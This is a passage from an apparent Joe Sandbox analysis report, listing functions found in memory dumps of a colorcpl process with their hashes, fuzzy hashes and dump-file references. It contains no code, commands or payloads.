Opcode ID: 3e4de2a8b15d4e0d56af53cdbb9d7e24bab17acf61d511c0d7f7dd5f5a89532f
Instruction ID: 2c2216692ee902bf63e81cb7d62ce6791c08c678ce243656e859dcd766b6df61
Opcode Fuzzy Hash: 3e4de2a8b15d4e0d56af53cdbb9d7e24bab17acf61d511c0d7f7dd5f5a89532f
Instruction Fuzzy Hash: 20F09632A1AB50DBD3318E16C840917B7F5FFD2AA0B860B699C99537D0D760B805C7D1

Uniqueness

Uniqueness Score: -1.00%

Function 1E62BFD0 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61a05f2e583a7f8459c8a446ac862a951a5c744327d893a3cbcb345d9d0b580d
Instruction ID: 20d66fad260dfd9ef45781d69ec59f2bbf36691d52cf9c551bb289eeb3d8059d
Opcode Fuzzy Hash: 61a05f2e583a7f8459c8a446ac862a951a5c744327d893a3cbcb345d9d0b580d
Instruction Fuzzy Hash: B1F0BEB2611169BFCB08CF89CC80D9F7BACEB057A0B50436AB506DB251D630EE00CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 1E6E5930 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c1e0596cc6db6671efa1ae131eba045ee99a3925ee5525dd3afa0d482156a32
Instruction ID: a9442d2881cafd387467d6262f4937208342f03168d9910f7d04ccc33e7a1435
Opcode Fuzzy Hash: 1c1e0596cc6db6671efa1ae131eba045ee99a3925ee5525dd3afa0d482156a32
Instruction Fuzzy Hash: B3F0B436241185BBC7129E45DC00F873B2AEBC4BA0F500124F6084B5A0DA31EC11D7E4

Uniqueness

Uniqueness Score: -1.00%

Function 1E671BEF Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e06ed61310b1d794269c9836913e5a980f308687efe4163e3217f76fdbfaa08
Instruction ID: d835eb27943e65b4fa311fc74ac3593211dbcae08c9df48a6f69717c94252c46
Opcode Fuzzy Hash: 1e06ed61310b1d794269c9836913e5a980f308687efe4163e3217f76fdbfaa08
Instruction Fuzzy Hash: 9BF02770791662DBF7169A78DE01B0633E3BB91740FA44639E045CB5A0EA68DC82C781

Uniqueness

Uniqueness Score: -1.00%

Function 1E6EF6C7 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e4f965a61f215541276479b4b6d7cd71d22ce5b68bb813e93710f84c44fdab7
Instruction ID: 1ed2d52578b3134048b5f3cf60a8579d7c523cea0265978c3a0a965a74820bb5
Opcode Fuzzy Hash: 4e4f965a61f215541276479b4b6d7cd71d22ce5b68bb813e93710f84c44fdab7
Instruction Fuzzy Hash: C2F06D75A11288EBDB04DFA9D945EAEBBF4EF08304F804569E501EB281E674E900CB58

Uniqueness

Uniqueness Score: -1.00%

Function 1E6BDEAA Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b72c1dd50dff90e1c4b718c40104cfda6149b4e8ac6573aaf0814be1314b689
Instruction ID: 860da7abb2cff2a84b64e212f6dd2def02e979de33ad0efb3ac2a56093d4b82e
Opcode Fuzzy Hash: 9b72c1dd50dff90e1c4b718c40104cfda6149b4e8ac6573aaf0814be1314b689
Instruction Fuzzy Hash: 6BF0CD76602340DFD314CF94E540B58B7B0EB45724F60CA7FC0168B690CB32A801CF04

Uniqueness

Uniqueness Score: -1.00%

Function 1E669B28 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be8f275fb45caa31bc9cbe4e476abc5161cde76dbe801e8e1b42d620e4b65110
Instruction ID: 86fa32ed71e44ef57534a3d76d6f0ee0a48cb4670db730459ef26e91cce6e567
Opcode Fuzzy Hash: be8f275fb45caa31bc9cbe4e476abc5161cde76dbe801e8e1b42d620e4b65110
Instruction Fuzzy Hash: 4AF0BE39D226E5CFD311C719C988F46BBEAAB86AA0F855A24E64587912C328EC40C650

Uniqueness

Uniqueness Score: -1.00%

Function 1E62BEC0 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27ec3afdf15dce7045b826a293e6eb366372731b24bacc3529fe095728e4fd66
Instruction ID: 10d966506034774bfef4aa0f2e9bf81931fed10605bf447c3d9d06901fc88ef6
Opcode Fuzzy Hash: 27ec3afdf15dce7045b826a293e6eb366372731b24bacc3529fe095728e4fd66
Instruction Fuzzy Hash: B2F0E2711115838FC716CB19C950F15B766FB823B0F958379E9664B9A1DB24D800CB84

Uniqueness

Uniqueness Score: -1.00%

Function 1E6EFC4F Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80ca61f3288c51d0b87e7d001a6fc51f0dcca765c533c5073ee7004e3d28116e
Instruction ID: 957f76e0db0fdba194623cf1eb9eb6683664d9bcb45f912679797cfbc9c0c895
Opcode Fuzzy Hash: 80ca61f3288c51d0b87e7d001a6fc51f0dcca765c533c5073ee7004e3d28116e
Instruction Fuzzy Hash: DAF0A775A02288EBDB04DBB9D95AF9E77B8EF08704F900554E502EB2C1DA74ED40C759

Uniqueness

Uniqueness Score: -1.00%

Function 1E6EFBF3 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ea122ef26d0356b5436f4e1e4d142718a0b464fef2285af27d0814637061948
Instruction ID: 2a2782fe7398f9c91c1ac3245f4a07cadedf5def93fa28e7ab433c78ef6a1b16
Opcode Fuzzy Hash: 1ea122ef26d0356b5436f4e1e4d142718a0b464fef2285af27d0814637061948
Instruction Fuzzy Hash: A9F0A771A02288EBDB04DBB9D95AF9E77B8EF09704F901554E501EB2C1DA74ED40C719

Uniqueness

Uniqueness Score: -1.00%

Function 1E6EFB97 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbc8035a8f8ffac40aebbd0424024af1fcaab450d302894c4225e6153dbd4e46
Instruction ID: 16cc541dfd3feee83b04ed1f0da31e44c7e7c9d6aade5ce7b3b82491a57f7281
Opcode Fuzzy Hash: dbc8035a8f8ffac40aebbd0424024af1fcaab450d302894c4225e6153dbd4e46
Instruction Fuzzy Hash: DAF0A075A0228CEBDB04DBB9C95AF9E77B8EF08304F800599F601EB2C1DA74E940C759

Uniqueness

Uniqueness Score: -1.00%

Function 1E6BB953 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1626d060ce2a7d3b3697f941c928d20152f223b2e19af32d82154d37a5088328
Instruction ID: d42e177bade4aaef73b4713855de8e31c1c9c7625bb677e5c26201692671018a
Opcode Fuzzy Hash: 1626d060ce2a7d3b3697f941c928d20152f223b2e19af32d82154d37a5088328
Instruction Fuzzy Hash: F1F0E572B01254BFEB30DA898D05F9AB3ACD782B75F110275B501E71C0C6B49E00C394

Uniqueness

Uniqueness Score: -1.00%

Function 1E6B9983 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 714da2a1c4f1efc1161e20e655b19aedbdd7afa7e59196edeb41504cf78fc0bd
Instruction ID: 407d5e2ba198f92f4f7f790e65bdc23672200a2e1e5a88d4a99b1b231b960dc6
Opcode Fuzzy Hash: 714da2a1c4f1efc1161e20e655b19aedbdd7afa7e59196edeb41504cf78fc0bd
Instruction Fuzzy Hash: 8EE02B32720254AFEB04DB58D940F4A33EDEB8D758F08009CF40AD7140D670DE00D780

Uniqueness

Uniqueness Score: -1.00%

Function 1E6EF72E Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0dd50ceb6795b47ade68664fa709b583edd297e3422a76fe84efd11e6f8db54d
Instruction ID: b59faf10eb00ac9f1deaf023757e217468b017ff9f77db25511332bc8e694af3
Opcode Fuzzy Hash: 0dd50ceb6795b47ade68664fa709b583edd297e3422a76fe84efd11e6f8db54d
Instruction Fuzzy Hash: 06F02774A12288EBDF04DBB9D95AF9E77B8EF08700F800154F101EB2C0DA34E9008718

Uniqueness

Uniqueness Score: -1.00%

Function 1E66182A Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58fbbcf199b8bdd28eabfd575b713fcc364720f4c43178bfe78a3647d3dad58d
Instruction ID: fa348a2a8f04fd278a045ccfe33f33d1f769da6f99825ebe7d1c8b7539a4df5e
Opcode Fuzzy Hash: 58fbbcf199b8bdd28eabfd575b713fcc364720f4c43178bfe78a3647d3dad58d
Instruction Fuzzy Hash: 63E09272A52821ABD3118A599C40F5673AEEBE9660F5A0539E544C7220D628ED01C7E0

Uniqueness

Uniqueness Score: -1.00%

Function 1E637D75 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c302cbae27b5571972a90e8c402ca34e50d6c97a953fa7a80cbfb8759a8e20e1
Instruction ID: 572059dbc08ff7c9a5f1b909dfff041de4bf01e0da78c9666e21113eab9fb2b0
Opcode Fuzzy Hash: c302cbae27b5571972a90e8c402ca34e50d6c97a953fa7a80cbfb8759a8e20e1
Instruction Fuzzy Hash: BFF0ED31A212D5DFD311CB29C584F0277F9EB023B1FA68B69E40A8B615C738EC82C294

Uniqueness

Uniqueness Score: -1.00%

Function 1E627931 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d33d6b9f7fabe44203ebe765e78a878f36cb71f40b61d43e5cf9315c3b59f614
Instruction ID: faea1f6890ec6e0124556913923a039b9ca8aa034d36b68eae9ae1590851ac5d
Opcode Fuzzy Hash: d33d6b9f7fabe44203ebe765e78a878f36cb71f40b61d43e5cf9315c3b59f614
Instruction Fuzzy Hash: 21E06831A103D793C7209A10C880FAAB3AB9F82B04FD08371F4005F650D769BD41CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 1E6BDD47 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e325588acc6b15edc20011f99a642b4b4c24f3113330be6afd0f5f2d9cd3cee
Instruction ID: d8b2a7b17026ff454b71df5f00d131b6b1d0464b9f6a3330404018f67cd56fc7
Opcode Fuzzy Hash: 9e325588acc6b15edc20011f99a642b4b4c24f3113330be6afd0f5f2d9cd3cee
Instruction Fuzzy Hash: 38F05E72A11396DFE750CF98DA8474877B4F748721F90C63BC1428AA90DB356494CF05

Uniqueness

Uniqueness Score: -1.00%

Function 1E62D878 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95576071c67a317adbe288b1b7625a9bd37d79af1005b6d5a14a95f7d051aeb1
Instruction ID: 25e80b2f7c66a2762dfc6edbf904d877b2b3353ca58cd3670fb5235411249ea1
Opcode Fuzzy Hash: 95576071c67a317adbe288b1b7625a9bd37d79af1005b6d5a14a95f7d051aeb1
Instruction Fuzzy Hash: C6E0DF33A01114BBCB22A6998E05F9A7BADEF94BA0F920564B500E70A0D620EE00CA90

Uniqueness

Uniqueness Score: -1.00%

Function 1E62BE78 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 156e13366ecf80be3081f2b2274d6134dfdc911ce20f9e366b099422a7fcba0b
Instruction ID: 8c5dfd88f1d51ef35a677db51caff8623e2063f59f06926be8c8615968ba2e4f
Opcode Fuzzy Hash: 156e13366ecf80be3081f2b2274d6134dfdc911ce20f9e366b099422a7fcba0b
Instruction Fuzzy Hash: 1DE0C233201890BFEB130AA6CC80E62FB6EFB846B0B240135F52482530CB22AC71F794

Uniqueness

Uniqueness Score: -1.00%

Function 1E66BE51 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1fbc1a57687687429949ef68cda6319bf2983e9682e37ceea575ce143fddd903
Instruction ID: da4444fcc6215de027020eb8c33b220f87e2d52bd75dafdfe2143791c6550720
Opcode Fuzzy Hash: 1fbc1a57687687429949ef68cda6319bf2983e9682e37ceea575ce143fddd903
Instruction Fuzzy Hash: 3DE068362936A0DBC7326F04ED20F4237A2EF45FD0F810A28A6120B9708320BC80C684

Uniqueness

Uniqueness Score: -1.00%

Function 1E641C60 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b69316f2a678296f67ce15432139b0828e7004bd50b89fd2610b62a5d5ddeea
Instruction ID: 6ddceabeacc46cb86681f3397965c8d39ffc5da0eae8e4c4d077d1830d5808f0
Opcode Fuzzy Hash: 7b69316f2a678296f67ce15432139b0828e7004bd50b89fd2610b62a5d5ddeea
Instruction Fuzzy Hash: 55E0D835722AB1DBC7018B168C64D39B3C78F82A64BA58B15D41457601CB28EC008695

Uniqueness

Uniqueness Score: -1.00%

Function 1E65DAAE Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fba1a1ac6ad799d61c2ddc326d185083a10fe0a07a476c97b5d34b5c0ba45396
Instruction ID: 6b8316bdd371f628833a34a57af5d77745f88439a5f3fcb0944a76ebe7898fa2
Opcode Fuzzy Hash: fba1a1ac6ad799d61c2ddc326d185083a10fe0a07a476c97b5d34b5c0ba45396
Instruction Fuzzy Hash: 3FF08C71511B908FD324CF18D550BA273A9EF85764F14868CE01A8B696C776E883CB80

Uniqueness

Uniqueness Score: -1.00%

Function 1E703FC0 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6fb50ee119d11f19fd4a5785dab16f6663d957cbb062c844309bb72431b8e05
Instruction ID: d50e1a486fbb0d29fbe074bee95840039720c61ffa154b0ac931eeef02d7260f
Opcode Fuzzy Hash: c6fb50ee119d11f19fd4a5785dab16f6663d957cbb062c844309bb72431b8e05
Instruction Fuzzy Hash: 93E0DF77211550ABC311DB69DD00F4AB3EDFFE5B21F51062AF2089BA90CB70B802C798

Uniqueness

Uniqueness Score: -1.00%

Function 1E62FEA0 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e90c4812e7d238853ab95c2f385ff84d52659db3c9c1a0d22b5f5c4e38c4305
Instruction ID: 9d9f86ae611768508af3e8beeed652505a1b45c06fb024f304f7295191f311f4
Opcode Fuzzy Hash: 0e90c4812e7d238853ab95c2f385ff84d52659db3c9c1a0d22b5f5c4e38c4305
Instruction Fuzzy Hash: D2E0DF3262038B6BD312C614D58270237ADF791A58FE08435E9A0DAA83E229E481CE40

Uniqueness

Uniqueness Score: -1.00%

Function 1E66BFB0 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dfbf427b3481e61aaf70de16c6999f206e4e51b409c523ac800f451efbe08988
Instruction ID: f7148f18426f51fdb2095e14e07a8d51bf08055e25f15ee5baf972629d60122a
Opcode Fuzzy Hash: dfbf427b3481e61aaf70de16c6999f206e4e51b409c523ac800f451efbe08988
Instruction Fuzzy Hash: 25E0DF351212C8FBE700CF01C848F2837AAEB48B28F809615F60A8B070C774E981CF44

Uniqueness

Uniqueness Score: -1.00%

Function 1E6C5AD0 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c545d50f61dea5e671e22edea6ff08ade0f67ffca453c31370c0e8b5fadfe58e
Instruction ID: bae8e8af8951e7f71ed439ecf5cc4292ca311b2f851fc1c890653bb5ae0e1947
Opcode Fuzzy Hash: c545d50f61dea5e671e22edea6ff08ade0f67ffca453c31370c0e8b5fadfe58e
Instruction Fuzzy Hash: 0DE08C32150684AFD3219A4AD948F82BBE9EB55370F40C82AE65987960C7B9F890CB90

Uniqueness

Uniqueness Score: -1.00%

Function 1E631F50 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567c7d1a26a07e01f29db5989ade6dca788771ebd87a95dfba10e40db38a2c29
Instruction ID: 2bdaf90c88e123569e8cf0d92bbee10314dfe2a3773a97107a67e5cc2abffb9b
Opcode Fuzzy Hash: 567c7d1a26a07e01f29db5989ade6dca788771ebd87a95dfba10e40db38a2c29
Instruction Fuzzy Hash: 24E0C23C61128ADFE700CB1AC044F15B3F65B897B6FA5971EE41C4B651C738E8C0CA04

Uniqueness

Uniqueness Score: -1.00%

Function 1E643D00 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5dbad98ca396276ebc9ccf29ee687559bfa97ca8fa48a46d0d88d24f68f4374
Instruction ID: 5065b562680b600ba9c7d30fe231365b183413157cfce5d8d455f4970d9463c0
Opcode Fuzzy Hash: b5dbad98ca396276ebc9ccf29ee687559bfa97ca8fa48a46d0d88d24f68f4374
Instruction Fuzzy Hash: 2AE0C7B0A010128FCB0A8A14CAA0B0937BBAB86B08F6481A8E00382028D334C896EB00

Uniqueness

Uniqueness Score: -1.00%

Function 068C72DC Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2388135598.00000000068B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 068B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_68b0000_colorcpl.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7082bc8f8abd59ec1a03103dfd6fbce07cccd21098daebae6e01f94422e85f0e
Instruction ID: 8567dee77a726685c2361cf9390b382746215e288fc57c3d5822ea6d3410779b
Opcode Fuzzy Hash: 7082bc8f8abd59ec1a03103dfd6fbce07cccd21098daebae6e01f94422e85f0e
Instruction Fuzzy Hash: 9AC02222A8AA89A247190F24B800072FBA4E4C3036B1022EEC888AB02142028420C296

Uniqueness

Uniqueness Score: -1.00%

Function 1E633EE1 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dccb39677a77acfa7b76c1066adfcf99e81963405b85bfec7f4008de25bbbb96
Instruction ID: 6664a77ff14457aa193659ec9ec943e1d54be4c9f6bfa96c48598dd90e77e943
Opcode Fuzzy Hash: dccb39677a77acfa7b76c1066adfcf99e81963405b85bfec7f4008de25bbbb96
Instruction Fuzzy Hash: 8CD05E72C52561CFC7618B88DA45F5A77FAFF95B10FE20256D424A3750C379EC00D684

Uniqueness

Uniqueness Score: -1.00%

Function 1E669DAF Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79cef0f67be2dbb3f177943ff143ddbb7a2ebc0bcca8e605d777b7589823809d
Instruction ID: c401e6b5ae62c12c960a70b623a6c813e2e90c3a9104c1dbfe6765628a2945e0
Opcode Fuzzy Hash: 79cef0f67be2dbb3f177943ff143ddbb7a2ebc0bcca8e605d777b7589823809d
Instruction Fuzzy Hash: E8D05E32C11870DBCBA39B49CA44F4A7BBAEFC4B10FD50264AD50A3211C73CAC10CB40

Uniqueness

Uniqueness Score: -1.00%

Function 1E66BE17 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 307bdae496b1629aa071e6d7971fb3d8e018be099ba395b1f02024d1b346273a
Instruction ID: c3060dc064dea2f849869a805cb00a0f991a38b7e519b48b6853c0ab8e7996f8
Opcode Fuzzy Hash: 307bdae496b1629aa071e6d7971fb3d8e018be099ba395b1f02024d1b346273a
Instruction Fuzzy Hash: 02E0E2361909C5CFC732CB04C944FA873A1F704B80FC505B0E1094BDB5CBBCA984EA40

Uniqueness

Uniqueness Score: -1.00%

Function 1E65B919 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e760a4ad3564b3af300f3acb6abb57938ec9b0200c8c8c7ccef3f332a9657571
Instruction ID: 87a5bc9c5fcf796e617fbe9c0ddc7cd6cbd364ee69dfd331d0e844d79b011835
Opcode Fuzzy Hash: e760a4ad3564b3af300f3acb6abb57938ec9b0200c8c8c7ccef3f332a9657571
Instruction Fuzzy Hash: 1BD0C932E616CACAEB029F50CD14778B7B2BF03395FD81664D44A06A61833A5C46DE04

Uniqueness

Uniqueness Score: -1.00%

Function 1E6B3FD7 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d0de6f1a536bfa14fe53989032a97397166e8f78fb9c628f612a51a4f10f55a
Instruction ID: c27e40b535f491aaa9c4448c2bb00d01888f5cb6074acc5c2c40b068f2c4309d
Opcode Fuzzy Hash: 2d0de6f1a536bfa14fe53989032a97397166e8f78fb9c628f612a51a4f10f55a
Instruction Fuzzy Hash: FAC08037080148BBCB125F45CC00F057F2AF754B60F114010F6040A571C632E960E744

Uniqueness

Uniqueness Score: -1.00%

Function 1E62DCA0 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 768b791705985fef6bbd48d24f8a2b4910ff65960d9034aae90c2b5012bdc449
Instruction ID: 62e230d0a216f8112737f65368ce1e545c488ec5b21747c49c0ca8dc2da549c2
